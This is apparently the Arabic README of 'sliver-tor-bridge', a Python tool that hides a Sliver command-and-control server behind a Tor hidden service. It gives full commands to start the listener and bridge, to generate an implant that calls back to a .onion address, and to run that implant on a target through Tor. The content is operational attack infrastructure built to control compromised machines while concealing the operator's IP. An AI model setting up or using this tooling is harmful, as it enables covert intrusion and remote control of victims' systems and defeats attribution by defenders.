sliver-tor-bridge

جسر نقل مبني على Tor لخادم Sliver C2. يُنشئ خدمة مخفية ويُمرر حركة المرور إلى خادم Sliver الخاص بك بحيث لا يتم كشف عنوان IP الحقيقي أبدًا.

ماذا يفعل

يُعدّ خدمة Tor مخفية تشير إلى بروكسي HTTP محلي. يمرر البروكسي كل شيء إلى مستمع HTTPS الخاص بـ Sliver. تتصل الـ implants عبر Tor، وتتحكم بها من خلال Sliver بشكل طبيعي.

sliver server <---> proxy <---> tor hidden service <---> implant
   :8443           :8080          xyz.onion              (via tor)

لماذا تستخدم هذا

• عنوان IP الخاص بخادم C2 يبقى مخفيًا خلف Tor
• تعرف الـ implants عنوان .onion فقط، وليس عنوان IP الحقيقي
• يعمل مع Sliver القياسي دون الحاجة إلى تعديلات
• إعداد بايثون بسيط، لا يتطلب تجميع Go

المتطلبات

• python 3.8+
• tor (apt install tor)
• sliver (https://sliver.sh)

التثبيت

git clone https://github.com/Otsmane-Ahmed/sliver-tor-bridge.git
cd sliver-tor-bridge
python3 -m venv venv
source venv/bin/activate
pip install -e .

الاستخدام

شغّل sliver مع مستمع https:

sliver-client
sliver > https -L 127.0.0.1 -l 8443

في طرفية أخرى، شغّل الجسر:

sudo systemctl stop tor
sliver-tor-bridge start --sliver-port 8443

سيظهر الناتج مثل:

[+] Tor started successfully!
[+] Hidden Service: http://abc123xyz.onion
[+] Bridge is READY!

انتظر عنوان .onion، ثم قم بتوليد implant:

sliver > generate --http http://abc123xyz.onion --os linux --save /tmp/implant

شغّل implant على الهدف (يتطلب tor):

HTTP_PROXY=socks5h://127.0.0.1:9050 ./implant

خيارات سطر الأوامر

sliver-tor-bridge start [OPTIONS]

--sliver-port    sliver https port (default 8443)
--tor-port       tor socks port (default 9050)
--service-port   hidden service port (default 80)
-c, --config     config file path

أوامر أخرى:

sliver-tor-bridge status    # check if hidden service is running
sliver-tor-bridge stop      # clean up hidden service directory

كيف يعمل

graph LR
    Implant[Implant] -->|Tor Network| HS["Hidden Service (.onion)"]
    HS -->|TCP :8080| Proxy["Bridge Proxy"]
    Proxy -->|HTTPS :8443| Sliver["Sliver Server"]

1. يقوم مدير tor بتشغيل عملية tor وإنشاء خدمة مخفية
2. تشير الخدمة المخفية إلى localhost:8080 (البروكسي)
3. يستمع بروكسي Flask على المنفذ 8080 ويُمرر الطلبات إلى sliver على localhost:8443
4. يعالج sliver اتصالات الـ implant بشكل طبيعي

يجلس الجسر في المنتصف ويُعيد توجيه حركة المرور. يعتقد sliver أنه يتلقى اتصالات https عادية. ويعتقد الـ implant أنه يتحدث مع خادم http عادي.

docker

docker-compose up -d
docker-compose logs -f

الاختبار

pip install pytest
pytest tests/

الملفات

sliver_tor_bridge/
  cli.py          # command line interface
  tor_manager.py  # starts tor and creates hidden service
  proxy.py        # flask app that forwards to sliver
  config.py       # configuration handling

استكشاف الأخطاء وإصلاحها

لن يعمل tor: تأكد من إيقاف خدمة tor في النظام (sudo systemctl stop tor)

انتهاء مهلة الاتصال: قد يستغرق إقلاع tor من 1 إلى 3 دقائق، انتظر حتى 100%

الـ implant لا يتصل: تأكد من أن الـ implant لديه وصول إلى tor (بروكسي socks على المنفذ 9050)

الترخيص

mit